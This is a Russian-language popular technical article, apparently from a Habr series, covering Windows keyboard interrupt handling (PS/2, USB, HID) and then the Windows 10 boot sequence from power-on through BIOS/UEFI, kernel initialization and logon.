ПК с PS2 портом и вы умеете пользоваться WinDbg в режиме ядра, то можете легко найти обработчик прерываний клавиатуры напечатав команду !idt, которая выведет на экран всю таблицу векторов прерываний. Прерывание вклинивается в ход выполнения программы, слово вектор здесь подразумевает направление, направление исполнения программы. WinDbg был сделан специально для отладки Windows, самая последняя версия называется WinDbgX. Он имеет текстовый интерфейс, который отпугивает людей привыкших к Visual Studio, однако предоставляет гораздо больше возможностей, в частности исполнение скриптов. Прерывание фиолетового порта PS2 выделено красным. Функция которая его обрабатывает называется I8042KeyboardInterruptService, которая находится в файле i8042prt.sys. [code] BOOLEAN I8042KeyboardInterruptService( IN PKINTERRUPT Interrupt, IN PVOID Context ); Routine Description: This is the interrupt service routine for the keyboard device when scan code set 1 is in use. Arguments: Interrupt - A pointer to the interrupt object for this interrupt. Context - A pointer to the device object. Return Value: Returns TRUE if the interrupt was expected (and therefore processed); otherwise, FALSE is returned. [/code] Сейчас возникает вопрос, откуда у обработчика прерываний аргумент? Кто его передаёт? Ведь CPU ничего не знает о нём. Если поставите в неё breakpoint, то удивитесь ещё больше увидев несколько функций выше по стеку: 0: kd> kC # Call Site 00 i8042prt!I8042KeyboardInterruptService 01 nt!KiCallInterruptServiceRoutine 02 nt!KiInterruptSubDispatch 03 nt!KiInterruptDispatch 04 nt!KiIdleLoop Объяснение здесь простое – это не та функция которая сохранена в регистре IDT процессора. То что вы видите на картинке выше на самом деле объекты типа _KINTERRUPT. В таблице прерываний сохранён специальный ассемблерный код (nt!KiIdleLoop), который знает как найти объект описывающий прерывание в памяти. Что же интересного есть в нём? 1. Указатель на объект представляющий драйвер в памяти. 2. Указатель на функцию i8042prt!I8042KeyboardInterruptService, которая и вызывает код считывающий данные из порта PS2 через ассемблерную команду IN AL, 0x60 – сохранить значение из порта номер 0x60 в регистре AL. 3. Функция dispatcher – ей передаётся указатель функцию из пункта No2 и она вызывает её. 4. Состояние регистров CPU. Перед вызовом прерывания состояние CPU будет сохранено сюда, и отсюда же будет восстановлено. 5. Приоритет прерывания. Не тот который определяет контроллер прерываний, а тот который Windows считает нужным. Это IRQL (Interrupt Request Level) – абстракция над IRQ. Как только обработчик прерываний клавиатуры будет вызван, он уведомит драйвер клавиатуры о полученных данных, после чего будет уведомлено ядро ОС, которое обработав данные отправит их дальше по стеку ввода, где они могут быть доставлены приложению, которое на них отреагирует, или перед этим в обработчик языков (азиатские иероглифы, автокоррекция, автозаполнение). Ядро ОС напрямую не взаимодействует с драйвером клавиатуры, для этих целей используется Plug’n’Play Manager. Этот компонент предоставляет API IoRegisterPlugPlayNotification, который вызовет предоставленную callback-функцию когда устройство будет добавлено или удалено. ### Пару слов о USB Ознакомление с работой порта USB потребовало бы отдельной статьи описывающей его работу и плюс описание обработки данных HID на Windows. Это очень сильно усложнило бы материал, к тому же уже есть хорошие статьи по теме, поэтому PS2 идеальный пример из-за своей простоты. USB создавался как универсальный порт для всех устройств, будь то клавиатура, фотоаппарат, сканнер, игровой руль с педалями, принтер и пр. Вдобавок он поддерживает вложенность портов – USB материнки => монитор с USB => клавиатура с USB к которой подключена мышка, флешка и USB-hub к которому подключен жёсткий диск. Взглянув на контакты USB 2.0 вы увидите что они не заточены под передачу каких-то определённых данных, как у PS2. Их всего четыре – витая пара для передачи битов данных, плюс и минус питания. Провода кабеля USB 2.0 USB 3.0 быстрее за счёт дополнительных пяти контактов. Как видите там нету линии CLOCK для синхронизации, поэтому логика передачи данных сложнее. Слева USB 2.0 и справа USB 3.0 для сравнения. Все данные передаются через протокол HID (Human Interface Device), который описывает форматы, порядок взаимодействия и передачи данных и всё остальное. Стандарт USB 2.0 занимает 650 страниц, документ HID Class Specification, описывающий работу устройств (мыши, клавиатуры и пр) – 97 страниц, их рекомендуется изучить если вы работаете с USB. Первым делом подключенное устройство должно рассказать о себе, для этого оно отправляет несколько структур данных, в которых указывается ID устройства и ID производителя по которым Plug’n’Play manager может найти в реестре информацию, загрузить и соединить драйвера. USB устройства пассивны, т.е. хост должен сам с определённым интервалом проверять наличие данных. Частота опроса и размер пакета данных задаются в одном из дескрипторов устройства USB. Максимальный размер пакета – 64 байта, что для информации о нажатых клавишах более чем достаточно. В Windows есть встроенная поддержка HID, она не такая простая как связь драйвера порта PS2 с драйвером клавиатуры, потому что драйвер HID должен уметь обрабатывать все поддерживаемые протоколом сценарии. Вне зависимости от провайдера данных — порты PS2, USB или Remote Desktop или виртуальная машина – на самом верху driver node будет находится Kbdclass, от которого ядро ОС и будет получать информацию. Уведомление о подсоединении клавиатуры будет обрабатываться через Plug’n’Play Manager, так что для ядра Windows не имеет значение какой порт или источник данных от устройства используется. ч.1 — Основы ОС и компьютера ч.2 — Как работает материнская плата и клавиатура через порт PS2
<div xmlns="http://www.w3.org/1999/xhtml">Мы продолжаем разбираться как работает ПК на примере клавиатуры и Windows 10. В этой статье поговорим о том как происходит единение софта и железа. <br/> <br/> <h3>Старт системы</h3><br/> Полностью компьютер выключен когда он отключен от питания и конденсаторы на материнской плате разрядились. До эры смартфонов мобильные телефоны часто глючили и если перезагрузка не лечила проблему, то приходилось доставать батарею и ждать 10 секунд, потому что сбрасывалось программное состояние ОС, в то время как чипы на материнской плате и контроллеры устройств оставались активными сохраняя состояние, драйвера ОС к ним просто реконнектились. 10 секунд — время на разрядку конденсаторов, состояние чипов сбрасывается только при полном отключении.<br/> Если же ПК подключен к розетке или батарее, то он находится в режиме Stand-By, это значит что по шине питания подаётся маленькое напряжения (5В) от которого запитываются некоторые чипы на материнке. Как минимум это <i>системный контроллер</i>, по сути это мини-компьютер запускающий большой компьютер. Получив уведомление о нажатии кнопки Power он просит блок питания/батарею подать больше напряжения и после инициализирует весь чип-сет, в том числе и процессор. Инициализация включает в себя перекачку кода и данных прошивки материнки (<i>BIOS/UEFI</i>) в оперативную память и настройку CPU на её исполнение. <br/> Думать что кнопка Power это рубильник который подаёт электричество на CPU и тот начинает исполнять с заранее известного адреса прошивку BIOS неправильно. Возможно старые компьютеры так и работали. Кнопка включения находится на своей плате, вместе со светодиодами состояний и к материнке она подключается через специальный разъём. На картинке ниже видны контакты для кнопки Power, Reset, а также светодиодов с состоянием Power и чтения жёсткого диска. Нажатие кнопки включения переводится в сигнал на контакты материнки, откуда он достигает системный контроллер.<br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/webt/30/d8/uy/30d8uyxzqka3tglmiof8djia6l8.png" data-src="https://habrastorage.org/webt/30/d8/uy/30d8uyxzqka3tglmiof8djia6l8.png"/></div><a name="habracut"></a><br/> <i>Контакты на материнке для подключения кнопки включения, светодиодов состояния Power, жёсткого диска и динамиков.</i><br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/webt/ns/gt/us/nsgtusjd48dgrbkq5fsvty9ofcy.png" data-src="https://habrastorage.org/webt/ns/gt/us/nsgtusjd48dgrbkq5fsvty9ofcy.png"/></div><br/> <i>Плата ноутбука с кнопкой включения и светодиодом состояния</i><br/> <br/> Cистемный контроллер обладает огромными полномочиями – включать и выключать компьютер, исполнять код в режиме ядра. Помимо него могут быть и другие чипы со сравнимыми возможностями, такие как <i>Intel Management Engine</i> или <i>AMD Secure Technology</i> (часть CPU), которые так же работают когда компьютер «выключен». Чип с Intel ME имеет в себе x86 CPU с операционной системой <a href="https://ru.wikipedia.org/wiki/MINIX_3" rel="nofollow">MINIX 3</a>. Что он может делать:<br/> <ol> <li>Включать и выключать компьютер, т.е. выполнять программы имея доступ ко всей вычислительной мощности, периферии машины и сети.</li> <li>Обходить ограничения файервола.</li> <li>Видеть все данные в CPU и RAM, что даёт доступ к запароленным файлам.</li> <li>Красть ключи шифрования и получать доступ к паролям</li> <li>Логировать нажатия клавиш и движения мыши</li> <li>Видеть что отображается на экране</li> <li>Вредоносный код в Intel ME не может быть детектирован антивирусом, потому как на такой низкий уровень он добраться не может</li> <li>И конечно же скрытно отправлять данные по сети используя свой стек для работы с сетью.</li> </ol><br/> Это вызывает серьёзные вопросы безопасности, потому как он может быть хакнут или использовать в шпионских целях.<br/> <br/> <i>Прикладная иллюстрация как блок питания получает сигнал от материнки на включение. Если вы задумаете установить мощную видеокарту (Nvidia 2070 S) на офисный ПК, то просто вставить её недостаточно, потому как она требует питание в 600W, в то время как такой ПК имеет блок на ~500W. Первое что придёт в голову – купить новый блок питания на 650W с отдельной линией для видеокарты. Но и здесь будут разочарования, потому как разъёмы материнки будут не совпадать с разъёмами БП, а если его отдельно воткнуть в розетку и подключить к видюхе тоже ничего не будет – в блоке питания вентилятор не крутится и изображения нет. Так происходит, потому что БП должен получить сигнал от материнки на полное включение. Очевидное решение – новая материнка с совместимыми разъёмами, однако она стоит ~$300. Есть решение проще, хоть оно и вызывает опасения пожаробезопасности. Берём скрепку, разгибаем и вставляем в зелёный (PS_ON) и один из чёрных пинов (COM). Теперь всё должно работать.</i><br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w780q1/webt/ew/q8/ty/ewq8tyruxiztukc_vasyn_4upzo.jpeg" data-src="https://habrastorage.org/webt/ew/q8/ty/ewq8tyruxiztukc_vasyn_4upzo.jpeg" data-blurred="true"/></div><br/> <h3>Поиск загрузчика ОС</h3><br/> Есть два вида прошивки материнки – <i>BIOS (Basic Input Output System)</i> на старых машинах и <i>UEFI (Unified Extensible Firmware Interface)</i> на новых. Windows 10 поддерживает обе и абстрагирует различия между ними. UEFI правильней называть ОС чем прошивкой, потому как он предлагает больше возможностей, к примеру богатый графический интерфейс вместо текстового, наличие мышки, больший объём доступной памяти, улучшенная модель безопасности и валидации файлов ОС, взаимодействие с железом через API, вместо прерываний как в BIOS.<br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w780q1/webt/o8/wg/lj/o8wgljsiasrtewlgud46pfxlk4s.jpeg" data-src="https://habrastorage.org/webt/o8/wg/lj/o8wgljsiasrtewlgud46pfxlk4s.jpeg" data-blurred="true"/></div><br/> <i>Пример экрана монитора BIOS.</i><br/> <br/> Программа BIOS хранится на отдельном чипе, подключенном к Южному мосту. Этот чип можно достать и перепрошить новой программой, по факту это просто носитель памяти, а не самостоятельный микрокомпьютер.<br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w780q1/webt/tp/r6/px/tpr6pxn5-z7lpltyt5j8qspnngi.jpeg" data-src="https://habrastorage.org/webt/tp/r6/px/tpr6pxn5-z7lpltyt5j8qspnngi.jpeg" data-blurred="true"/></div><br/> Настройки BIOS (системное время, например), хранятся на другом чипе который как правило находится возле круглой батарейки, которая на самом деле является литиевым аккумулятором, подзаряжающимся во время работы ПК. Называется он <i>CMOS</i>, что означает <i>Complementary Metal Oxide Semiconductor</i>, а по-русски просто — КМОП, что есть <i>комплементарная структура металл-оксид-полупроводник</i>.<br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/webt/uc/_h/hx/uc_hhxevyd2xel1gylewz3w1sfk.png" data-src="https://habrastorage.org/webt/uc/_h/hx/uc_hhxevyd2xel1gylewz3w1sfk.png"/></div><br/> Первым делом программа BIOS выполняет проверку подсистем, эта процедура называется <a href="https://ru.wikipedia.org/wiki/POST_(%D0%B0%D0%BF%D0%BF%D0%B0%D1%80%D0%B0%D1%82%D0%BD%D0%BE%D0%B5_%D0%BE%D0%B1%D0%B5%D1%81%D0%BF%D0%B5%D1%87%D0%B5%D0%BD%D0%B8%D0%B5)" rel="nofollow">POST</a> – Power On Self Test. Тест может быть сокращённый либо полный, это задаётся в настройках BIOS. Процитирую <a href="https://ru.wikipedia.org/wiki/POST_(%D0%B0%D0%BF%D0%BF%D0%B0%D1%80%D0%B0%D1%82%D0%BD%D0%BE%D0%B5_%D0%BE%D0%B1%D0%B5%D1%81%D0%BF%D0%B5%D1%87%D0%B5%D0%BD%D0%B8%D0%B5)" rel="nofollow">Википедию</a>, что в себя включают эти тесты:<br/> Сокращённый тест включает:<br/> <ol> <li>Проверку целостности программ BIOS в ПЗУ, используя контрольную сумму.</li> <li>Обнаружение и инициализацию основных контроллеров, системных шин и подключённых устройств (графического адаптера, контроллеров дисководов и т. п.), а также выполнение программ, входящих в BIOS устройств и обеспечивающих их самоинициализацию.</li> <li>Определение размера оперативной памяти и тестирования первого сегмента (64 килобайт).</li> </ol><br/> Полный регламент работы POST:<br/> <ol> <li>Проверка всех регистров процессора;</li> <li>Проверка контрольной суммы ПЗУ;</li> <li>Проверка системного таймера и порта звуковой сигнализации (для IBM PC — ИМС i8253 или аналог);</li> <li>Тест контроллера прямого доступа к памяти;</li> <li>Тест регенератора оперативной памяти;</li> <li>Тест нижней области ОЗУ для проецирования резидентных программ в BIOS;</li> <li>Загрузка резидентных программ;</li> <li>Тест стандартного графического адаптера (VGA или PCI-E);</li> <li>Тест оперативной памяти;</li> <li>Тест основных устройств ввода (НЕ манипуляторов);</li> <li>Тест CMOS</li> <li>Тест основных портов LPT/COM;</li> <li>Тест накопителей на гибких магнитных дисках (НГМД);</li> <li>Тест накопителей на жёстких магнитных дисках (НЖМД);</li> <li>Самодиагностика функциональных подсистем BIOS;</li> <li>Передача управления загрузчику.</li> </ol><br/> По результатам этого теста может быть обнаружена неисправность, к примеру нерабочая видеокарта или клавиатура. Поскольку экран монитора может не работать результаты тестов сообщаются в виде последовательности звуковых сигналов разной высоты. Что конкретно они значат надо смотреть в документации к материнской плате. Старые компьютеры часто бибикали во время старта — это программа BIOS сообщала о результатах тестов. Иногда может дополнительно использоваться индикатор, показывающий номер ошибки.<br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w780q1/webt/t8/4s/pt/t84sptgyzelnge5ymtzakl0vj4e.jpeg" data-src="https://habrastorage.org/webt/t8/4s/pt/t84sptgyzelnge5ymtzakl0vj4e.jpeg" data-blurred="true"/></div><br/> Если всё прошло успешно, BIOS начинает процесс поиска загрузчика ОС. Для этого он начинает просматривать все подключенные к материнской плате жёсткие диски. Данные на физических дисках адресуются в единицах называемых <i>сектор</i>, обычно он 512 байт, однако современный стандарт – 4096 байт. Установщик Windows в самый первый сектор на диске записывает специальный программный код и данные о разделах. Этот сектор называется <i>Master Boot Record</i>. Диск разбивается на разделы (partitions), отформатированный своей файловой системой. Максимум 4 раздела, каждый из который может быть <i>расширенным (extended partition)</i>, такой можно рекурсивно делить на 4 раздела и теоретически их число не ограничено. Как только BIOS находит Master Boot Record он считывает оттуда код и передаёт ему управление. Этот код поочередно просматривает данные о разделах и находит тот который помечен как активный, в нём находится код загрузчика Windows (Это <b>не</b> раздел с C:\Windows\System32!), этот раздел называется <i>system partition</i>. Как правило он занимает 100Мб и скрыт от пользователя. В первом секторе этого раздела хранится загрузочный код, которому передаётся управление. Это <i>volume boot sector</i>, код в нём ищет файл <i>Bootmgr</i>, с которого и начинается процесс загрузки Windows. Файл Bootmgr создан через соединение в один файлов <i>Startup.com</i> и <i>Bootmgr.exe</i>. <br/> <br/> Процессор начинает свою работу в режиме который называется <i>«Реальный»</i>. Это режим совместимости, в нём CPU работает так же как и старые 16-bit процессоры, не имевшие поддержки виртуальной памяти и работавшие напрямую с физической памятью через 20-bit шину адресов, позволявшую адресовать 1Мб памяти. Простые MS-DOS программы выполнялись в этом режиме и имели расширение .COM. Первое что делает Startup.com (Bootmgr) – переключает процессор в режим <i>«Защищённый»</i>, где под защитой понимается защита процессов друг от друга. В этом режиме поддерживается виртуальная память и 32х битные адреса, которыми можно адресовать 4Гб оперативной памяти. Следующим этапом Bootmgr заполняет таблицу виртуальных адресов на первые 16Мб RAM и включает трансляцию с виртуальных адресов в физические. В этом режиме и работает Windows. Поскольку на этом этапе подсистемы ОС ещё не созданы, Bootmgr имеет свою простую и неполную реализацию файловой системы NTFS, благодаря которой он находит <i>BCD файл (Boot Configuration Data)</i>, в котором хранятся настройки параметров загрузки ОС. Вы можете редактировать его через утилиту <i>BcdEdit.exe</i>. В этих настройках BCD может быть указано, что Windows была в состоянии гибернации, и тогда Bootmgr запустит программу <i>WinResume.exe</i>, которая считывает состояние из файла <i>Hyberfil.sys</i> в память и перезапускает драйвера. Если BCD говорит, что есть несколько ОС, то Bootmgr выведет на экран их список и попросит пользователя выбрать. Если ОС одна, то Bootmgr запускает WinLoad.exe, этот процесс и выполняет основную работу по инициализации Windows:<br/> <ol> <li>Выбирает соотвествующую версию ядра Windows. Можете думать о нём как о Windows10.exe, хотя на самом деле он называется NtOsKrnl.exe. Какие есть версии? Согласно википедии:<br/> <ul> <li>ntoskrnl.exe — однопроцессорное ядро Windows. без поддержки режима <a href="https://ru.wikipedia.org/wiki/PAE" rel="nofollow">PAE</a></li> <li>ntkrnlmp.exe (англ. NT Kernel, Multi-Processor version) — многопроцессорное ядро Windows. без поддержки режима <a href="https://ru.wikipedia.org/wiki/PAE" rel="nofollow">PAE</a></li> <li>ntkrnlpa.exe — однопроцессорное ядро Windows с поддержкой режима <a href="https://ru.wikipedia.org/wiki/PAE" rel="nofollow">PAE</a>.</li> <li>ntkrpamp.exe — многопроцессорное ядро Windows с поддержкой режима <a href="https://ru.wikipedia.org/wiki/PAE" rel="nofollow">PAE</a>.</li> </ul><br/> </li> <li>Загружает HAL.dll (Hardware Abstraction Layer), который абстрагирует особенности материнки и CPU.</li> <li>Загружает файл шрифтов vgaoem.fon </li> <li>Загружает файлы в которых содержится инфомрация о представлениях даты времени, форматов чисел и пр. Эта функциональность называется <a href="https://docs.microsoft.com/en-us/windows/win32/intl/about-national-language-support" rel="nofollow">National Language System</a>. </li> <li>Загружает в память реестр SYSTEM, в нём содержится информация о драйверах которые надо загрузить. Информация о всех драйверах находится в <i>HKLM\SYSTEM\CurrentControlSet\Services\</i>. Драйвера которые надо загрузить имеют ключ start = SERVICE_BOOT_START (0). Об устройстве реестра мы поговорим в другой статье.</li> <li>Загружает драйвер файловой системы для раздела на котором располагаются файлы драйверов.</li> <li>Загружает драйвера в память, но пока не инициализирует их из-за круговых зависимостей.</li> <li>Подготавливает регистры CPU для выполнения ядра Windows выбранного на первом шаге – NtOsKrnl.exe.</li> </ol><br/> Во время загрузки драйверов WinLoad проверяет их цифровые подписи и если они не совпадают, то будет синий (<i>BSOD</i>) или зелёный (<i>GSOD</i>, для insider preview сборок) «экран смерти». <br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/webt/m0/ev/ga/m0evgakgkexpnfd7_y02uyptmqa.png" data-src="https://habrastorage.org/webt/m0/ev/ga/m0evgakgkexpnfd7_y02uyptmqa.png"/></div><br/> <h3>Запуск на UEFI</h3><br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w780q1/webt/i8/ww/lk/i8wwlkfzlkvrmoeewllujsxzdci.jpeg" data-src="https://habrastorage.org/webt/i8/ww/lk/i8wwlkfzlkvrmoeewllujsxzdci.jpeg" data-blurred="true"/></div><br/> <i>Пример экрана загрузки UEFI</i><br/> <br/> BIOS существует больше 30 лет и в попытках исправить его недостатки компания Intel в 1998 году создала стандарт Intel Boot Initiative, позже переименованный в EFI и в 2005 году пожертвованный организации EFI Forum. Недостатки BIOS:<br/> • Работает только в 16-битном режиме<br/> • Может адресовать только 1Mb оперативной памяти<br/> • Часто имеет проблемы совместимости <br/> • MBR ограничен только четырьмя главными разделами диска<br/> • Диск с ОС не может быть больше чем 2.2Tb.<br/> • Имеет очень ограниченные возможности для валидации загрузчика ОС.<br/> На смену BIOS пришёл UEFI, по сути это миниатюрная ОС которая может работать и в 32-bit и в 64-bit. Для совместимости есть опция <i>Compatibility Support Module</i>, которая включается в настройках и эмулирует работу BIOS.<br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w780q1/webt/yk/u7/pr/yku7pr2rkc5ih-ad6cxtl3vqo6a.jpeg" data-src="https://habrastorage.org/webt/yk/u7/pr/yku7pr2rkc5ih-ad6cxtl3vqo6a.jpeg" data-blurred="true"/></div><br/> В UEFI загрузка происходит в родной для процессора битности – 32 или 64, есть доступ ко всей памяти, поддерживается виртуальная память, включен<i> Secure Boot</i> и есть возможность запустить antimalware до начала загрузки ОС. Порядок загрузки ОС в UEFI:<br/> <ol> <li>Инициализация и запуск Firmware, запуск чип-сета.</li> <li>POST тест, аналогично BIOS</li> <li>Загрузка EFI-драйверов и поиск диска подпадающего под требования EFI для загрузочного диска</li> <li>Поиск папки с именем EFI. Спецификация UEFI требует чтобы был раздел для <i>EFI System Partition</i>, отформатированный под файловую систему FAT, размером 100Мб – 1Гб или не более 1% от размера диска. Каждая установленная Windows имеет свою директорию на этом разделе – <i>EFI\Microsoft</i>. <br/> <img src="https://habrastorage.org/r/w1560/webt/fw/el/zm/fwelzmjmiu9kgmjcbfyn7iev8ys.png" data-src="https://habrastorage.org/webt/fw/el/zm/fwelzmjmiu9kgmjcbfyn7iev8ys.png"/></li> <li>Читает из настроек UEFI сохранённых в NVRAM (энергонезависимая память) путь к файлу загрузчика.</li> <li>Находит и запускает <i>EFI/Microsoft/Boot/BootMgrFw.efi</i>.</li> <li>BootMgrFw.efi находит раздел реестра BCD, который хранится в отдельном файле с именем BCD. Из него он находит <i>WinLoad.efi</i>, который расположен в <i>C:\Windows\System32\winload.efi</i>.<img src="https://habrastorage.org/r/w780q1/webt/kt/t4/ig/ktt4igrin92wnehskvywcsi-uq0.jpeg" data-src="https://habrastorage.org/webt/kt/t4/ig/ktt4igrin92wnehskvywcsi-uq0.jpeg" data-blurred="true"/></li> </ol><br/> Чтобы посмотреть содержимое раздела <i>EFI System Partition</i> откройте консоль с правами админа (WinKey+X => Windows PowerShell (Admin)) и выполните команды <i>mountvol Z: /s, Z:, dir</i>. <i>CD</i> — меняет директорию.<br/> Главное отличие компонентов BootMgr и WinLoad для UEFI от своих копий для BIOS тем что они используют <i>EFI API</i>, вместо прерываний BIOS и форматы загрузочных разделов <i>MBR BIOS</i> и <i>EFI System Partition</i> сильно отличаются.<br/> <br/> <h3>Инициализация ядра</h3><br/> Напоминаю, что мы рассматриваем загрузку ПК в контексте работы клавиатуры, поэтому не стоит заострять внимание на всех этапах. Надо понять где в этом процессе находится клавиатура, важные для понимания этапы <b>выделены</b>.<br/> На предыдущем этапе был запущен компонент <i>WinLoad.exe/WinLoad.efi</i>, который запускает <i>NtOsKrnl.exe</i> указав ему параметры загрузки в глобальной переменной <i>nt!KeLoaderBlock</i> (память режима ядра доступна всем процессам), которые <i>WinLoad </i>собрал во время своей работы. Они включают:<br/> <ol> <li>Пути к System (загрузчик Windows) и Boot (<i>C:\Windows\System32</i>) директориям.</li> <li>Указатель на таблицы виртуальной памяти которые создал WinLoad</li> <li>Дерево с описанием подключенного hardware, оно используется для создания HKLM\HARDWARE ветки реестра.</li> <li>Копия загруженного реестра <i>HKLM\System</i></li> <li>Указатель на список загруженных (но не инициализированных) драйверов участвующих в старте Windows.</li> <li>Прочая информация необходимая для загрузки.</li> </ol><br/> Инициализация ядра Windows происходит в два этапа. До этого происходит инициализация <i>Hardware Abstraction Layer</i>, который в числе всего прочего настраивает контроллеры прерывания для каждого CPU. <br/> На этой же стадии загружаются в память строки с сообщениями для BSOD, потому как в момент падения они могут быть недоступны или повреждены.<br/> <ul> <li>Первая фаза инициализации ядра:<br/> <ol> <li><i>Слой Executive </i>инициализирует свои объекты состояний – глобальные объекты, списки, блокировки. Производится проверка <i>Windows SKU (Stock Keeping Unit)</i>, примеры Windows 10 SKU — Home, Pro, Mobile, Enterprise, Education.</li> <li>Если включен <i>Driver Verifier</i>, то он инициализируется.</li> <li>Менеджер памяти создаёт структуры данных, необходимые для работы внутренних API для работы с памятью (<i>memory services</i>), резервирует память для внутреннего пользования ядром.</li> <li>Если подключен отладчик ядра (<i>kernel debugger</i>) ему отправляется уведомление загрузить символы для драйверов загружаемых во время старта системы.</li> <li>Инициализируется информация о версии билда Windows.</li> <li>Старт Object Manager – позволяет регистрировать именованные объекты к которым могут получать доступ по имени другие компоненты. Яркий пример – мьютекс по которому приложение позволяет запустить единственный экземпляр. Здесь же создаётся храниться <i>handle table</i>, по которой устанавливается соответствие к примеру между HWND и объектом описывающим окно.</li> <li>Старт<i> Security Reference Monitor</i> подготавливает всё необходимое для создания первого аккаунта.</li> <li><i>Process Manager</i> подготавливает все списки и глобальные объекты для создания процессов и потоков. Создаются процесс Idle и System (в нём исполняется “Windows10.exe” он же NtOsKrnl.exe), они пока не исполняются, потому как прерывания выключены.</li> <li>Инициализация <i>User-Mode Debugging Framework</i>.</li> <li><b>Первая фаза инициализации Plug and Play Manager.</b> PnP – это стандарт который реализовывается на уровне производителей периферии, материнских плат и ОС. Он позволяет получать расширенную информацию о подключенных устройствах и подключать их без перезагрузки ПК.</li> </ol><br/> </li> <li>Вторая фаза инициализации ядра. Она содержит 51 шаг, поэтому я пропущу многие из них:<br/> <ol> <li>По завершению первой фазы главный поток процесса <i>System (NtOsKrnl.exe)</i> уже начал исполнение. В нём производится вторая фаза инициализации. Поток получает самый высокий приоритет – 31.</li> <li><b>HAL настраивает таблицу прерываний и включает прерывания.</b></li> <li>Показывается <i>Windows Startup Screen</i>, которая по умолчанию представляет из себя чёрный экран с progress bar.</li> <li>Executive слой инициализирует инфраструктуру для таких объектов синхронизации как Semaphore, Mutex, Event, Timer.</li> <li>Объекты для User-Mode Debugger проинициализированы.</li> <li>Создана symbolic link \SystemRoot.</li> <li><i>NtDll.dll </i>отображена в память. Она отображается во все процессы и содержит Windows APIs.</li> <li>Инициализирован драйвер файловой системы.</li> <li>Подсистема межпроцессного общения между компонентами <i>Windows ALPC</i> проинициализирована. Можете думать о ней как о named pipes или Windows Communication Foundation для межпроцессного общения.</li> <li><b>Начинается инициализация I/O Manager</b>, который создаёт необходимые структуры данных для инициализации и хранения драйверов подключенной к компьютеру периферии. Этот процесс очень сложный.<br/> Здесь же инициализируются компоненты <i>Windows Management Instrumentation</i> и <i>Event Tracing for Windows</i> (на него полагается <i><a href="https://docs.microsoft.com/en-us/windows-hardware/test/wpt/windows-performance-analyzer" rel="nofollow">Windows Performance Analyzer</a></i>). После этого шага все драйвера проинициализированы.</li> <li>Запускается процесс <i>SMSS.exe</i> (<i>Session Manager Sub System</i>). Он отвечает за создание режима пользователя, в котором будет создана визуальная часть Windows. </li> </ol><br/> </li> </ul><br/> <h3>Запуск подсистем – SMSS, CSRSS, WinInit</h3><br/> <i>SMSS.exe</i> отличается от пользовательских процессов, это нативный процесс и это даёт ему дополнительные полномочия. SMSS.exe работает с ядром в обход Windows API, он использует то что называется <i>Native API</i>. Windows API – обёртка вокруг Native API. SMSS.exe первым делом запускает подсистему Windows (<i>CSRSS.exe – Client Server Runtime Sub System</i>) и заканчивает инициализацию реестра.<br/> <br/> Процесс и потоки SMSS.exe помечены как критические, это значит что если они неожиданно завершаться, к примеру из-за ошибки, это приведёт к падению системы. Для общения с подсистемами, к примеру вызову API создающему новую сессию, <i>SMSS </i>создаёт ALPC-порт с именем <i>SmApiPort</i>. Загружаются из реестра переменные среды окружения, запускаются программы такие как Check Disk (autochk.exe, эти программы записаны в реестре <i>HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute</i>). SMSS.exe запускается для каждой пользовательской сессии. Глобальные переменные (очередь сообщений например) у каждой сессии своя за счёт механизма виртуальной памяти. В Windows есть контексты потока, процесса и сессии. Каждый SMSS.exe запускает свой экземпляр подсистемы, на данный момент это только CSRSS.exe (Windows), в прошлом поддерживались операционные системы OS/2 (os2ss.exe) и POSIX (psxss.exe), но эта идея была неудачной. Самый первый SMSS.exe засыпает в ожидании процесса WinInit.exe. Остальные экземпляры вместо этого создают процесс WinLogon который показывает UI для входа.<br/> <br/> <i>WinInit.exe</i> инициализирует подсистемы для создания графической оболочки – <i><a href="https://docs.microsoft.com/en-us/windows/win32/winstation/window-stations" rel="nofollow">Windows Station</a></i> и <a href="https://docs.microsoft.com/en-us/windows/win32/winstation/desktops" rel="nofollow">десктопы</a>, это не тот рабочий стол который вы видите, это иная концепция Windows. Далее он запускает процессы:<br/> <ol> <li><i>Services.exe</i> –<i> Services Control Manager (SCM)</i> запускает сервисы и драйвера помеченные как AutoStart. Сервисы запускаются в процессах <i>svchost.exe</i>. Есть утилита <i>tlist.exe</i>, которая запущенная с параметром <i>tlist.exe -s</i> напечатает в консоли имена сервисов в каждом из svchost.exe.</li> <li><i>LSASS.exe</i> – Local System Authority.</li> <li><i>LSM.exe</i> – Local Session Manager.</li> </ol><br/> <i>WinLogon.exe</i> – загружает провайдеры аутентификации (<i>credential providers</i>), которые могут быть password, Smartcard, PIN, Hello Face. Он порождает процесс <i>LogonUI.exe</i> который и показывает пользователю интерфейс для аутентификации, а после валидирует введённые данные (логин и пароль, PIN).<br/> <br/> Если всё прошло успешно, то WinLogon запускает процесс указанный в ключе реестра <i>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\Userinit</i>. По умолчанию это процесс <i>UserInit.exe</i>, который:<br/> <ol> <li>Запускает скрипты указанные в реестрах:<ul> <li>HKCU\Software\Policies\Microsoft\Windows\System\Scripts</li> <li>HKLM\SOFTWARE\Policies\Microsoft\Windows\System\Scripts</li> </ul></li> <li>Если групповая политика безопасности определяет User Profile Quota, запускает <i>%SystemRoot%\System32\Proquota.exe</i></li> <li>Запускает оболочку Windows, по умолчанию это Explorer.exe. Этот параметр конфигурируется через реестр:<ul> <li>HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell</li> <li>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell</li> </ul></li> </ol><br/> WinLogon уведомляет <i>Network Provider</i> о залогинившемся пользователе, на что тот восстанавливает и подключает системные диски и принтеры сохранённые в реестре. Network Provider представляет из себя файл <i>mpr.dll</i> из системной папки, который хостится в процессе <i>svchost.exe</i>, т.е. сервис Windows. <br/> <br/> Дерево процессов выглядит следующим образом, на нём можно увидеть кто и кого создал 